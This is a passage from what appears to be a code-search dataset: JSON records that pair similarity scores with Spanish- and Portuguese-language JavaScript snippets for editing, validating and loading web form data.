"0.5633251", "text": "function cargarCgg_jur_criterioCtrls(){\n if(inRecordCgg_jur_criterio){\n txtCjcri_codigo.setValue(inRecordCgg_jur_criterio.get('CJCRI_CODIGO'));\n txtCrfas_codigo.setValue(inRecordCgg_jur_criterio.get('CRFAS_CODIGO'));\n grdCgg_jur_criterio.setValue(inRecordCgg_jur_criterio.get('CJCRI_REQUERIMIENTO'));\n isEdit = true;\n habilitarCgg_jur_criterioCtrls(true);\n }}", "title": "" }, { "docid": "b222238fb8cdd2ab237d1c9f5c0b09e6", "score": "0.5630106", "text": "function cargarCgg_res_observadoCtrls(){\n if(inRecordCgg_res_observado){\n txtCrper_codigo.setValue(inRecordCgg_res_observado.get('CRPER_CODIGO'));\n txtCrper_num_doc_identific.setValue(inRecordCgg_res_observado.get('CRPER_NUM_DOC_IDENTIFIC'));//Pendiente de cambio.\n isEdit = true;\n habilitarCgg_res_observadoCtrls(false);\n\n\n }}", "title": "" }, { "docid": "9614d09dc48e3de82a751e421552d4ad", "score": "0.5626581", "text": "function editarRecuperarTextareaMotivoConsulta (){\n\t\n\t$(\"#editarMotivoConsulta\").val($(\"#editarContenidoTextoTexarea_motivoConsulta\").html());\n\t\n\t$(\"#editarContenidoEditorMotivoConsulta\").hide(\"slower\");\n\t\n\t$(\"#editarMotivoConsulta\").show(\"slower\");\n\t$(\"#label_editarMotivoConsulta\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "c68b5d02ab74de7fe04a9e4d937f35a3", "score": "0.56206036", "text": "editNoAcorriente(index){\n this.limpiar();\n this.activo.a_nocorriente.edit = true;\n this.registro.a_nocorriente = index;\n this.bi.const_id = this.a_nocorrientes[index].cuenta_id;\n this.activo.a_nocorriente.cuenta_id = this.a_nocorrientes[index].cuenta_id;\n this.activo.a_nocorriente.saldo = this.a_nocorrientes[index].saldo;\n $('#bih-transaccion').modal('show');\n $('#nav-bih-activo-no-corriente-tab').tab('show'); \n }", "title": "" }, { "docid": "ee0d8bb945a0093bc1d87ce12c190a15", "score": "0.5617992", "text": "function editarRecuperarTextareaObservacionesConsulta (){\n\t\n\t$(\"#editarObservacionesConsulta\").val($(\"#editarContenidoTextoTexarea_observacionesConsulta\").html());\n\t\n\t$(\"#editarContenidoEditorObservacionesConsulta\").hide(\"slower\");\n\t\n\t$(\"#editarObservacionesConsulta\").show(\"slower\");\n\t$(\"#label_editarObservacionesConsulta\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "b2dda57984ba80a71e7da1a6f9bae569", "score": "0.5617816", "text": "function ImgAccEditar()\n{\n // Mostrar imgAccion\n imgAcc.hide();\n imgAcc.eq(0).show(); // Cancelar\n imgAcc.eq(4).show(); // Guardar\n // Cambiar las celdas por textbox, para que se puedan\n // modificar los valores\n tr = tabla.find('tr').has('input[type=\"radio\"]:checked');\n originalValue = [];\n tr.find('td').has('div.label').each(function(){\n originalValue.push($(this).children().text());\n \t$(this).html('<input type=\"text\" value=\"' + $(this).children().text() + '\">');\n });\n // Deshabilitar el resto de radio button\n tabla.find('input[type=\"radio\"]:not(:checked)').attr('disabled', true);\n // Deshabilitar la celda de la FK, es lo unico que no se puede modificar\n column = FindValue(llave, 'FK_');\n if(column != -1) {\n tabla.find('input[type=\"text\"]').eq(column).attr('disabled', true);\n }\n}", "title": "" }, { "docid": "a62dc7322c4cef69ce1cffb3f41e2a36", "score": "0.56161", "text": "editPatrimonio(index){\n this.patrimonio.edit = true;\n this.registro.patrimonio = index;\n this.bi.const_id = this.patrimonios[index].cuenta_id;\n this.patrimonio.cuenta_id = this.patrimonios[index].cuenta_id;\n this.patrimonio.saldo = this.patrimonios[index].saldo;\n $('#bg-transaccion').modal('show');\n $('#nav-bg-patrimonio-tab').tab('show')\n \n }", "title": "" }, { "docid": "bf9af2978e550d97bf0129d71d18affb", "score": "0.56152904", "text": "function llenarFormulario(params) {\n for (let i = 0; i < buttonEditar.length; i++) {\n buttonEditar[i].addEventListener(\"click\",()=>{\n idEditar.value = productos[i].id\n nombreEditar.value = productos[i].nombre\n precioEditar.value = productos[i].precio\n descripcionEditar.value = productos[i].descripcion\n imagenEditar.value = productos[i].imagen\n cantidadEditar.value = productos[i].cantidad\n categoriaEditar.value = productos[i].agrupacion.agrupacion\n unidadEditar.value = productos[i].unidad.unidad\n })\n }\n idEditar.readOnly = true\n}", "title": "" }, { "docid": "10058d33884e73ca660d6bde78d6f0e4", "score": "0.5606915", "text": "function editarRecuperarTextareaPlanConsulta (){\n\t\n\t$(\"#editarPlanConsulta\").val($(\"#editarContenidoTextoTexarea_planConsulta\").html());\n\t\n\t$(\"#editarContenidoEditorPlanConsulta\").hide(\"slower\");\n\t\n\t$(\"#editarPlanConsulta\").show(\"slower\");\n\t$(\"#label_editarPlanConsulta\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "9341a60e4e65ef5a39182b14e05479cc", "score": "0.5603668", "text": "function getIdEdit(id, cert, cotejo, control, recibo) {\n $(\"#idEd\").val(id);\n $(\"#certi\").val(cert);\n $(\"#cotejo\").val(cotejo);\n $(\"#control\").val(control);\n $(\"#recibo\").val(recibo);\n}", "title": "" }, { "docid": "4413627decce30397322ec0be1016e9f", "score": "0.56016475", "text": "function validarEditarAccion(){\r\n\t//Si los datos introducidos son correctos en la funcion de validar habilitamos el boton\r\n\tif(validarEDITAccion()){\r\n\t\teditarAccion.editar.disabled = false;\r\n\t}//Si los datos introducidos son incorrectos en la funcion de validar deshabilitamos el boton\r\n\telse{\r\n\t\teditarAccion.editar.disabled = true;\r\n\t}\r\n}", "title": "" }, { "docid": "defbff89fa491aec522db58678a898ea", "score": "0.5596828", "text": "verFormularioEditar(id) {\r\n\t\t// buscar una noticia en el servidor\r\n\t\tdb.una(id, noticia => {\r\n\t\t\t// y mostrar la edición\r\n\t\t\trenderizar.edit(noticia);\r\n\t\t\timgLoad(false);\r\n\t\t});\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "310746b13e0bdfe5836ecd59c1507d50", "score": "0.5595954", "text": "function ldrEtiqueta(registro, etiqueta) {\r\n //primero comprobar si la etiqueta existe,buscarla en el arreglo ETIQUEtAS\r\n let existe = false;\r\n let index;\r\n let puntero;\r\n for (let i = 0; i < Etiquetas.length; i++) {\r\n if (Etiquetas[i].nombre == etiqueta) {\r\n puntero = Etiquetas[i].puntero\r\n existe = true;\r\n }\r\n }\r\n\r\n if (!existe) {\r\n //Lanzar error porque la etiqueta no existe\r\n } else {//si existe\r\n //obtener la direccion de memoria en la RAM\r\n let direccion = RAM[puntero].dir_memoria;\r\n let indexRegistro;\r\n //identificar el registro\r\n for (let i = 0; i < registros.length; i++) {\r\n if (registros[i].nombre == registro) {\r\n indexRegistro = i;\r\n }\r\n }\r\n //comprobar si el registro se puede usar\r\n if (parseInt((registros[indexRegistro].nombre).slice(-2)) >= 8) {\r\n console.error(\"el registro no se puede usar\")\r\n } else {\r\n //guardarla en el registro\r\n registros[indexRegistro].contenido = direccion;\r\n registros[indexRegistro].contenidoCa2 = 0;\r\n generarRegistros();\r\n //ldrGuardarDesdeRAM(\"r0\",\"r1\")\r\n fin = finalizando();\r\n mostrarEnMensajesExito(inicio, fin);\r\n }\r\n\r\n }\r\n\r\n}", "title": "" }, { "docid": "eb5280321b061da076e1c4db97cebc71", "score": "0.55904263", "text": "function EDITaddToEquipaApoio(id_episodio) {\n var listaToAdd = [];\n equipaApoioPossibilidades.forEach(function(elemento, it) {\n if($(\"#possibilidade\"+it).is(':checked')){\n listaToAdd.push(elemento.n_mec);\n }\n });\n if(listaToAdd.length == 0){\n toastr(\"Selecione pelo menos um elemento para adicionar aos elegíveis para integrar uma Equipa Cirurgica\", \"error\");\n return;\n }\n var episodio; \n for(var i = episodios.length-1; i>=0; i--){\n if(episodios[i]['id'] == id_episodio){\n episodio = episodios[i];\n break;\n }\n }\n var targetServicoID = episodio.servico;\n var targetServico;\n for (let index = servicos.length-1; index >= 0; index--) {\n const servicoCandidadte = servicos[index];\n if(servicoCandidadte['id'] == targetServicoID){\n targetServico = servicoCandidadte;\n break;\n }\n }\n var tempfuncoes = targetServico.lista_funcoes; \n var funcoes = [];\n tempfuncoes.forEach(function(funcao) {\n if(funcao['equipa'] == 'EA'){\n funcoes.push(funcao);\n }\n });\n $(\"#addMemberToCirugicTeam-modal .container-filtros\").remove();\n $(\"#addMemberToCirugicTeam-modal #addToEquipaCirurgica\").empty();\n $(\"#addMemberToCirugicTeam-modal .modal_title\").html(\"Definir funções dos elementos escolhidos <i onclick='closeSubModal();' class='fas fa-times-circle close_modal'></i>\");\n $(\"#addToEquipaCirurgicaEdit-btns\").html(\"<button id='confirmFuncoesEquipaCirurgica' class='confirm-btn'>Confirmar</button>\");\n var header= \"<div class='col_container borderBottom tableHeader'>\"+\n \"<div class='col col_65'>\"+\n \"<h5>Funcionário</h5>\"+\n \"</div>\"+\n \"<div class='col col_35'>\"+\n \"<h5>Função</h5>\"+\n \"</div>\"+\n \"</div>\";\n $(\"#addMemberToCirugicTeam-modal #addToEquipaCirurgica\").html(header);\n listaToAdd.forEach(function(pos) {\n var elemento = null;\n for (let index = 0; index < equipaApoioPossibilidades.length; index++) {\n const element = equipaApoioPossibilidades[index];\n if(element.n_mec == pos){\n elemento = element;\n break;\n }\n }\n var row = \"<div class='col_container'>\"+\n \"<div class='col col_65'>\"+\n \"<div class='col_container'>\"+\n \"<div class='col col_65'>\"+\n \"<div style='float: left; width:15%;' class='borderBottom marginBottom10'>\"+\n elemento['n_mec']+\n \"</div>\"+ \n \"<div class='borderBottom marginBottom10' style='margin-left:20px; float:left; width: calc(85% - 30px);'>\"+\n elemento['nome'].toUpperCase()+\n \"</div>\"+\n \"</div>\"+\n \"<div class='col col_35'>\"+\n \"<div class='borderBottom marginBottom10'>\"+\n elemento['categoria'].toUpperCase()+\"</span>\"+\n \"</div>\"+\n \"</div>\"+\n \"</div>\"+\n \"</div>\"+\n \"<div class='col col_35'>\";\n if(funcoes.length > 0){\n row+= \"<select style='margin-top:5px;' id='funcao\"+pos+\"'>\"+\n \"<option value=''>Nenhuma</option>\";\n funcoes.forEach(function (funcao, it) {\n row += \"<option value='\"+it+\"'>\"+funcao['sigla']+\" - \"+funcao['funcao']+\"</option>\";\n });\n row+= \"<select>\";\n } else {\n row+= \"<select style='margin-top:5px;' id='funcao\"+pos+\"'>\"+\n \"<option value=''>Nenhuma</option>\";\n funcoes.forEach(function (funcao, it) {\n row += \"<option value='\"+it+\"'>\"+funcao['sigla']+\" - \"+funcao['funcao']+\"</option>\";\n });\n row+= \"<select>\";\n row += \"<span style='color:red; margin: 0; transform: translateY(50%); font-size:10px'> (Este Serviço não tem nenhum função definida)</span>\";\n }\n row += \"</div>\"+\n \"</div>\";\n $(\"#addMemberToCirugicTeam-modal #addToEquipaCirurgica\").append(row);\n });\n\n document.getElementById('confirmFuncoesEquipaCirurgica').addEventListener('click', function(){\n var anyWithoutFuncion = false;\n var left = null;\n for (let it = 0; it < listaToAdd.length; it++) {\n if($(\"#funcao\"+listaToAdd[it]).val() == '' || $(\"#funcao\"+listaToAdd[it]).val() == undefined){\n anyWithoutFuncion = true;\n left = listaToAdd[it];\n break;\n }\n }\n if(anyWithoutFuncion){\n var intervenienteLeft;\n for (let id = 0; id < equipaApoioPossibilidades.length; id++) {\n const element = equipaApoioPossibilidades[id];\n if(element.id == left){\n intervenienteLeft = element;\n }\n }\n toastr(\"Defina a função do Colaborador '\"+intervenienteLeft['nome']+\"'\",\"error\");\n return;\n }\n var body = {\n episodio: id_episodio,\n funcoes: []\n };\n listaToAdd.forEach(function (it){\n var elemento = null;\n for (let index = 0; index < equipaApoioPossibilidades.length; index++) {\n const element = equipaApoioPossibilidades[index];\n if(element.n_mec == it){\n elemento = element;\n break;\n }\n }\n var obj = {\n prof: elemento['n_mec'],\n func: funcoes[parseInt($(\"#funcao\"+it).val())]\n };\n body.funcoes.push(obj);\n }); \n var fd = new FormData();\n fd.append('body', JSON.stringify(body));\n var user = JSON.parse(sessionStorage.getItem('user'));\n fd.append('user', user['user']);\n addLoading();\n $.ajax({\n type: \"POST\",\n url: \"./api/episodios/addIntervenientesEC.php\",\n data: fd,\n processData: false,\n contentType: false,\n success:function(data){\n removeLoading();\n var response = JSON.parse(data); \n if(response == 'error'){\n toastr(\"Erro ao adicionar elementos à Equipa Cirurgica\", \"error\");\n return;\n } else {\n getEpisodioInfoById(id_episodio);\n }\n }\n }); \n });\n\n}", "title": "" }, { "docid": "a73a8f0ae27d466648f689ed9c465c9c", "score": "0.55903846", "text": "function stProprieteCompo()\n{\n this.Action_en_cours=null;\n this.NewCle=null;\n}", "title": "" }, { "docid": "a73a8f0ae27d466648f689ed9c465c9c", "score": "0.55903846", "text": "function stProprieteCompo()\n{\n this.Action_en_cours=null;\n this.NewCle=null;\n}", "title": "" }, { "docid": "a73a8f0ae27d466648f689ed9c465c9c", "score": "0.55903846", "text": "function stProprieteCompo()\n{\n this.Action_en_cours=null;\n this.NewCle=null;\n}", "title": "" }, { "docid": "113f823b7bc5816fe8180178b9cb5fbd", "score": "0.5587183", "text": "function new_edit(){\n console.log(\"creating new edit field\")\n let quiz = return_one_quiz(id_gen());\n add_to_quizlist(quiz);\n show_num_of_quiz();\n}", "title": "" }, { "docid": "03c9c79907c0bd9d21aa9af8a9614a07", "score": "0.5585958", "text": "function cargarCgg_gem_tipo_contratoCtrls() {\n if (inRecordCgg_gem_tipo_contrato) {\n txtCgtcn_codigo.setValue(inRecordCgg_gem_tipo_contrato.get('CGTCN_CODIGO'));\n txtCgtcn_descripcion.setValue(inRecordCgg_gem_tipo_contrato.get('CGTCN_DESCRIPCION'));\n txtCgtcn_observacion.setValue(inRecordCgg_gem_tipo_contrato.get('CGTCN_OBSERVACION'));\n isEdit = true; \n }\n }", "title": "" }, { "docid": "ac1c0df4b8d4e0f84b9a37c96759bc9b", "score": "0.55800277", "text": "function totalRegistrosActuacion(rows, admin, insert, update, del) {\r\n\tvar numreg = document.getElementById(\"rows\");\r\n\tnumreg.innerHTML = \"Registros: \"+rows;\r\n\tvar btNuevo = document.getElementById(\"btNuevo\");\r\n\tvar btEditar = document.getElementById(\"btEditar\");\r\n\tvar btVer = document.getElementById(\"btVer\");\r\n\tvar btAprobar = document.getElementById(\"btAprobar\");\r\n\tvar btAnular = document.getElementById(\"btAnular\");\r\n\tvar btRevisar = document.getElementById(\"btRevisar\");\r\n\t\r\n\tif (insert == \"N\") btNuevo.disabled = true;\r\n\tif (update == \"N\" || !rows) {\r\n\t\tbtEditar.disabled = true;\r\n\t\tbtAprobar.disabled = true;\r\n\t\tbtAnular.disabled = true;\r\n\t\tbtRevisar.disabled = true;\r\n\t\tif (!rows) btVer.disabled = true;\r\n\t}\r\n}", "title": "" }, { "docid": "d2ed05223c20cf01ad1f708be26bc621", "score": "0.557892", "text": "function editarRecuperarTextareaMotivoCirugia (){\n\t\n\t$(\"#editarMotivoCirugia\").val($(\"#editarContenidoTextoTexarea_motivoCirugia\").html());\n\t\n\t$(\"#editarContenidoEditorMotivoCirugia\").hide(\"slower\");\n\t\n\t$(\"#editarMotivoCirugia\").show(\"slower\");\n\t$(\"#label_editarMotivoCirugia\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "d295aa05608b6ca10e028d46d3188267", "score": "0.55699843", "text": "function cargarRejilla(){\n\tset('frmEliminarCronograma.hOrigenCargaRejilla', 'buscar');\n\tif(fValidarCOMBO('frmEliminarCronograma.cbMarcas') && \n\t\tfValidarCOMBO('frmEliminarCronograma.cbCanales') && \n\t\tfValidarCOMBO('frmEliminarCronograma.cbCodigosDelPeriodo')){\n\t\t\n\t\tif (get('frmEliminarCronograma.hFlag') == 'OK'){\n\t\t\tif (get('frmEliminarCronograma.cbSubgerenciasDeVentas') != \"\" &&\n\t\t\t\tget('frmEliminarCronograma.cbRegiones') != \"\"){\t\t\t\n\t\t\t\t\tset('frmEliminarCronograma.accion', 'completarRejilla');\n\t\t\t\t\tset('frmEliminarCronograma.conectorAction', 'LPEliminarCronograma');\n\t\t\t\t\tenviarFormulario();\n\t\t\t}\n\t\t\telse{\n\t\t\t\t\tGestionarMensaje('901','frmConsultarPeriodos.txtDescripcion');\n\t\t\t}\n\t\t}\n\t\telse if (get('frmEliminarCronograma.cbGruposDeZonas') != \"\"){\n\t\t\tset('frmEliminarCronograma.accion', 'completarRejilla');\n\t\t\tset('frmEliminarCronograma.conectorAction', 'LPEliminarCronograma');\n\t\t\tenviarFormulario();\n\t\t}\n\t\telse{\n\t\t\tGestionarMensaje('901','frmConsultarPeriodos.txtDescripcion');\n\t\t}\n\t}\n\tobtenerPaisMarcaCanal();\n\n}", "title": "" }, { "docid": "7a1b3b87ef13626a6a8524dc2c060e13", "score": "0.556445", "text": "function addCon3Registros(registro1, registro2, registro3) {\r\n\r\n // let reg1 = parseInt(registro1.charAt(1));\r\n // let reg2 = parseInt(registro2.charAt(1));\r\n // let reg3 = parseInt(registro3.charAt(1));\r\n\r\n\r\n let reg1 = parseInt(borrarElementoCadena(registro1, 'r'));\r\n let reg2 = parseInt(borrarElementoCadena(registro1, 'r'));\r\n let reg3 = parseInt(borrarElementoCadena(registro1, 'r'));\r\n\r\n if (reg1 >= 8) {\r\n imprimirError(errores[\"registro\"][3] + registro1);\r\n } else {\r\n if (reg2 >= 8) {\r\n imprimirError(errores[\"registro\"][3] + registro2);\r\n } else {\r\n if (reg3 >= 8) {\r\n imprimirError(errores[\"registro\"][3] + registro2);\r\n } else {\r\n if (reg1 != reg2 && reg1 != reg3 && reg2 != reg3) {\r\n imprimirError(errores[\"sintaxis\"][1]);\r\n } else {\r\n\r\n let operando2 = parseInt(registros[reg2].contenido);\r\n let operando3 = parseInt(registros[reg3].contenido);\r\n let resultado;\r\n\r\n\r\n resultado = operando2 + operando3;\r\n\r\n if (resultado < 0) {//aplicar complemento a2 con k=32 bits\r\n resultado = Ca2(resultado);\r\n registros[reg].contenido = resultado;\r\n } else {\r\n resultado = resultado.toString(16); //convirtiendo a hexadecimal\r\n\r\n\r\n //preparando el resultado\r\n let cantidadBytesResult2 = resultado.length;\r\n let bytesAdd = (8 - cantidadBytesResult2);\r\n let ceros = \"\"\r\n for (let i = 0; i < bytesAdd; i++) {\r\n ceros += \"0\"\r\n }\r\n console.log(\"0x\" + ceros + resultado)\r\n resultado = \"0x\" + ceros + resultado\r\n console.log(registros[registros[reg].contenido])\r\n //almacenar el resultado en los registros\r\n registros[reg].contenido = resultado;\r\n }\r\n }\r\n }\r\n }\r\n generarRegistros();\r\n fin = finalizando();\r\n mostrarEnMensajesExito(inicio, fin);\r\n\r\n }\r\n\r\n}", "title": "" }, { "docid": "cfefb45706015ceb340c02cb76d518dd", "score": "0.55600274", "text": "function editarRecuperarTextareaObservacionesExamenFisico(){\n\t\n\t$(\"#editarObservacionesExamenFisico\").val($(\"#editarContenidoTextoTexarea_observacionesExamenFisico\").html());\n\t\n\t$(\"#editarContenidoEditorObservacionesExamenFisico\").hide(\"slower\");\n\t\n\t$(\"#editarObservacionesExamenFisico\").show(\"slower\");\n\t$(\"#label_editarObservacionesExamenFisico\").show(\"slower\");\n\t\n}", "title": "" }, { "docid": "e5de73cdd651fa4166c5b21f96574ee2", "score": "0.5559815", "text": "editPNocorriente(index){\n this.pasivo.p_nocorriente.edit = true;\n this.registro.p_nocorriente = index;\n this.bi.const_id = this.p_nocorrientes[index].cuenta_id;\n this.pasivo.p_nocorriente.cuenta_id = this.p_nocorrientes[index].cuenta_id;\n this.pasivo.p_nocorriente.saldo = this.p_nocorrientes[index].saldo;\n $('#biv-transaccion').modal('show');\n $('#nav-biv-pasivo-no-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "8fe122fd6c58f95028b0f129952d5651", "score": "0.5558109", "text": "function validarEDITTrabajo(){\r\n\treturn (comprobarTextoSin(editarTrabajo.IdTrabajo, editarTrabajo.IdTrabajo.size) &&\r\n\t\t\tcomprobarTexto(editarTrabajo.NombreTrabajo, editarTrabajo.NombreTrabajo.size) &&\r\n\t\t\tcomprobarFecha(editarTrabajo.FechaIniTrabajo, editarTrabajo.FechaIniTrabajo.size) &&\r\n\t\t\tcomprobarFecha(editarTrabajo.FechaFinTrabajo, editarTrabajo.FechaFinTrabajo.size) &&\r\n\t\t\tcomprobarEntero(editarTrabajo.PorcentajeNota,0,100));\r\n}", "title": "" }, { "docid": "72a3cbca5bc3a69b43c47daf608703de", "score": "0.55560404", "text": "function mostrarEditar(){\n\tvar r = comprobarExistenciaActual();\n\tif(r == true){\n\t \tdocument.getElementById(\"regis\").style.display = \"none\";\n\t \tdocument.getElementById(\"lnkABM\").style.display = \"block\";\n\t \thabilitarPrincipal(); \n\t \t\n\t}\n\tif(r == false){\n\t\t\n\t\tdocument.getElementById(\"lnkABM\").style.display = \"none\";\n\t \tdocument.getElementById(\"regis\").style.display = \"block\";\n\t \t\n\t}\n\t\n}", "title": "" }, { "docid": "120a40a85a7e1fc0671ac2f53689d0a5", "score": "0.55555475", "text": "function alteraRecebedorLote(index) {\n $(\"recebedor_\" + index).value = \"\";\n $(\"idRecebedor_\" + index).value = 0;\n\n $(\"expedidor_\" + index).value = $(\"redespacho_\" + index).value;\n $(\"idExpedidor_\" + index).value = $(\"idRedespacho_\" + index).value;\n}", "title": "" }, { "docid": "45055e895c6058406f46c1cbf8030579", "score": "0.55517274", "text": "function editHandler(eleID) {\n getMyEle(eleID).addEventListener(\"click\", function() {\n this.style.display = \"block\";\n var myTable = getMyEle('table-display');\n var id = this.id;\n var mangTemp = id.split(\"_\");\n //lay nhan vien de tiep theo fill vao text field\n var currentNhanVien = dsNhanVien.timNhanVien(mangTemp[1]);\n //tim vi tri cua row\n var currentRowindex = this.parentNode.parentNode.rowIndex;\n //loop through the row to replace the text field\n var soThuocTinh = currentNhanVien.soThuocTinh();\n for (var i = 0; i < soThuocTinh; i++) {\n var editTextBox = \"<input type='text' class='form-control' value='\" + currentNhanVien.mangThuocTinh[i] + \"'>\";\n myTable.rows[currentRowindex].cells[i].innerHTML = editTextBox;\n }\n //when the button is clicked, hide the delete and edit button\n this.style.display = \"none\";\n getMyEle('xoa_' + currentNhanVien.maSoNhanVien).style.display = \"none\";\n //display the saveBtn\n getMyEle('capnhat_' + currentNhanVien.maSoNhanVien).style.display = \"block\"\n });\n}", "title": "" }, { "docid": "641d0e20339d12a39226efdce6877b4f", "score": "0.5550551", "text": "function etapaRecorrido(row, col){\n\t\t\t\tthis.row=row;\n\t\t\t\tthis.col=col;\n\t\t\t\tthis.valor=laberinto.get_item(row, col);\n\t\t\t\tthis.movDisp=['up', 'right', 'down', 'left'];\n\t\t\t}", "title": "" }, { "docid": "8357c71a4f0a9bd942111de2cb2ea120", "score": "0.5548895", "text": "editPcorriente(index){\n this.pasivo.p_corriente.edit = true;\n this.registro.p_corriente = index;\n this.bi.const_id = this.p_corrientes[index].cuenta_id;\n this.pasivo.p_corriente.cuenta_id = this.p_corrientes[index].cuenta_id;\n this.pasivo.p_corriente.saldo = this.p_corrientes[index].saldo;\n $('#biv-transaccion').modal('show');\n $('#nav-biv-pasivo-corriente-tab').tab('show')\n \n }", "title": "" }, { "docid": "e6a3644d9ac63c7477b3b85a54b2e30e", "score": "0.5538102", "text": "function cargarCgg_res_aeropuertoCtrls(){\n if(inRecordCgg_res_aeropuerto){\n txtCarpt_codigo.setValue(inRecordCgg_res_aeropuerto.get('CARPT_CODIGO'));\n tmpCctn_codigo= inRecordCgg_res_aeropuerto.get('CCTN_CODIGO');\n txtCctn_codigo.setValue(inRecordCgg_res_aeropuerto.get('CANTON'));\n txtCarpt_nombre.setValue(inRecordCgg_res_aeropuerto.get('CARPT_NOMBRE'));\n\t\t\tcbxCarpt_tipo.setValue(inRecordCgg_res_aeropuerto.get('CARPT_TIPO_AEREOPUERTO'));\n isEdit = true;\n habilitarCgg_res_aeropuertoCtrls(true);\n }}", "title": "" }, { "docid": "5c30077a274d259c86f70b846d1610b8", "score": "0.55369395", "text": "function commit_edit(id){\t\t \n var row_number = parseInt(id.substring('3',id.indexOf('_')));\n console.log(\"Row id is = \",id); \n var temp_id = \"row\"+row_number.toString()+\"_cost\";\n var temp_id_yel = \"row\"+row_number.toString()+\"_yellow\"\n var temp_id_red = \"row\"+row_number.toString()+\"_red\"\n\t\t\n\t\tvar cost = document.getElementById(temp_id).value;\n\t\tvar yellow = document.getElementById(temp_id_yel).value;\n\t\tvar red = document.getElementById(temp_id_red).value; \n\t\t\n\t\tif(prev_cost != cost) {\n\t\t\t$(\"#row\"+row_number.toString()).remove();\n\t\t\trestructure_cost_table(cost,red,yellow);\n\t\t}else {\n\t\t\tdocument.getElementById(\"row\"+row_number.toString()+\"_span_cost\").innerHTML = cost;\n\t\t\tdocument.getElementById(\"row\"+row_number.toString()+\"_span_yellow\").innerHTML = yellow;\n\t\t\tdocument.getElementById(\"row\"+row_number.toString()+\"_span_red\").innerHTML = red; \n\t\t} \n }", "title": "" }, { "docid": "26b1de6aac7396f789e3cae863620c18", "score": "0.5536322", "text": "function crearElementoDeListadoDeProductos(element) {\n var editCommandClass = '';\n var editCommandEditAction = 'javascript:editarCantidad(' + element.Id_Prd + ')';\n var editCommandRemoveAction = 'javascript:retirarProducto(' + element.Id_Cte + ',' + element.Id_Op + ',' + element.Id_Prd + ')';\n if (_proyectoSeleccionado.EnValuacion != null) {\n if (_proyectoSeleccionado.EnValuacion == true || _proyectoSeleccionado.EnValuacion == 1) {\n editCommandClass = 'disabled-link';\n editCommandEditAction = '#';\n editCommandRemoveAction='#';\n }\n }\n\n var textoNodoDilucion = '<td>' +\n '<div id=\"dvDilucionDisplay_' + element.Id_Prd + '\" >' +\n '<table>' +\n '<tr>' +\n '<td>Dilución</td>' +\n '<td style=\"text-align: right; width: 60px\">' +\n '<div id=\"dvDilucionDisplayValue\">' +\n (element.COP_Dilucion!=null ? element.COP_Dilucion : '') +\n '</div>' +\n '</td>' +\n '</tr>' +\n '</table>' +\n '</div>' +\n '<div id=\"dvDilucionEdit_' + element.Id_Prd + '\" style=\"display:none;\">' +\n '<table>' +\n '<tr>' +\n '<td>Dilución 1:</td>' +\n '<td>' +\n '<input type=\"text\" id=\"txtDilucion\" value=\"' + (element.COP_Dilucion!=null ? element.COP_Dilucion : '') + '\" style=\"text-align: right; width: 60px;\">' +\n '</td>' +\n '<td>' +\n '<a href=\"javascript:aceptarEditarCantidad(' + element.Id_Prd + ')\"><i class=\"fa fa-check\" aria-hidden=\"true\"></i></a>' +\n '</td>' +\n '<td>' +\n '<a href=\"javascript:cancelarEditarCantidad(' + element.Id_Prd + ')\"><i class=\"fa fa-times\" aria-hidden=\"true\"></i></a>' +\n '</td>' +\n '</tr>' +\n '</table>' +\n '</div>' +\n '<td>';\n\n var n = $('<div class=\"list-group-item list-view-pf-stacked list-view-pf-top-align\" id=\"lstElem_' + element.Id_Prd + '\" elementoDeLista>' +\n '<div class=\"list-view-pf-checkbox\"><input type=\"checkbox\"></div>' +\n '<div class=\"list-view-pf-actions\">' +\n '<div class=\"dropdown pull-right dropdown-kebab-pf\">' +\n '<button class=\"btn btn-link dropdown-toggle\" id=\"dropdownKebabRight3\" aria-expanded=\"true\" aria-haspopup=\"true\" type=\"button\" data-toggle=\"dropdown\">' +\n '<span class=\"fa fa-ellipsis-v\"></span>' +\n '</button>' +\n '<ul class=\"dropdown-menu dropdown-menu-right\" aria-labelledby=\"dropdownKebabRight3\">' +\n '<li><a class=\"' + editCommandClass + '\" href=\"' + editCommandEditAction + '\">Editar</a></li>' +\n '<li><a class=\"' + editCommandClass + '\" href=\"' + editCommandRemoveAction +'\">Retirar</a></li>' +\n '</ul>' +\n '</div>' +\n '</div>' +\n '<div class=\"list-view-pf-main-info PADDING_TB_10\">' +\n '<div class=\"list-view-pf-body\">' +\n '<div class=\"list-view-pf-description\">' +\n '<div class=\"list-group-item-heading\">' + element.Id_Prd + '&nbsp;' + element.Nombre +'</div>' +\n //'<div class=\"list-group-item-text\">' + element.Ruta + '</div>' +\n '<div class=\"list-group-item-text\"></div>' +\n '</div>' +\n '<div class=\"list-view-pf-additional-info\">' +\n '<table>' +\n '<tr>' +\n '<td>' +\n '<div id=\"dvCantidadDisplay_' + element.Id_Prd + '\">' +\n //cantidad\n '<table>' +\n '<tr>' +\n '<td>Cantidad de Producto</td>' +\n '<td style=\"text-align: right; width: 60px\">' +\n '<div id=\"dvCantidadDisplayValue\">' +\n element.COP_Cantidad +\n '</div>' +\n '</td>' +\n '<td> &nbsp;' + 'piezas' /*element.ProductoSerializable.Prd_UniNe*/ + '</td>' +\n '</tr>' +\n '</table>' +\n '</div>' +\n '<div id=\"dvCantidadEdit_' + element.Id_Prd + '\" style=\"display:none;\">' +\n '<table>' +\n '<tr>' +\n '<td>Cantidad de Producto</td>' +\n '<td>' +\n '<input type=\"text\" id=\"txtCantidad\" value=\"' + element.COP_Cantidad + '\" style=\"text-align: right; width: 60px;\">' +\n '</td>' +\n '<td>' +\n '<a href=\"javascript:aceptarEditarCantidad(' + element.Id_Prd + ')\"><i class=\"fa fa-check\" aria-hidden=\"true\"></i></a>' +\n '</td>' +\n '<td>' +\n '<a href=\"javascript:cancelarEditarCantidad(' + element.Id_Prd + ')\"><i class=\"fa fa-times\" aria-hidden=\"true\"></i></a>' +\n '</td>' +\n '</tr>' +\n '</table>' +\n '</div>' +\n '</td>' +\n '</tr>' +\n '<tr>' +\n (element.COP_EsQuimico==true ? textoNodoDilucion : '' ) +\n '</tr>' +\n '</table>' +\n '</div>' +\n '</div>' +\n '</div>' +\n '</div>');\n return n;\n }", "title": "" }, { "docid": "fc03393f553f58add664a98ba00807a1", "score": "0.5531651", "text": "function validarEditarEvaluacion(){\r\n\t//Si los datos 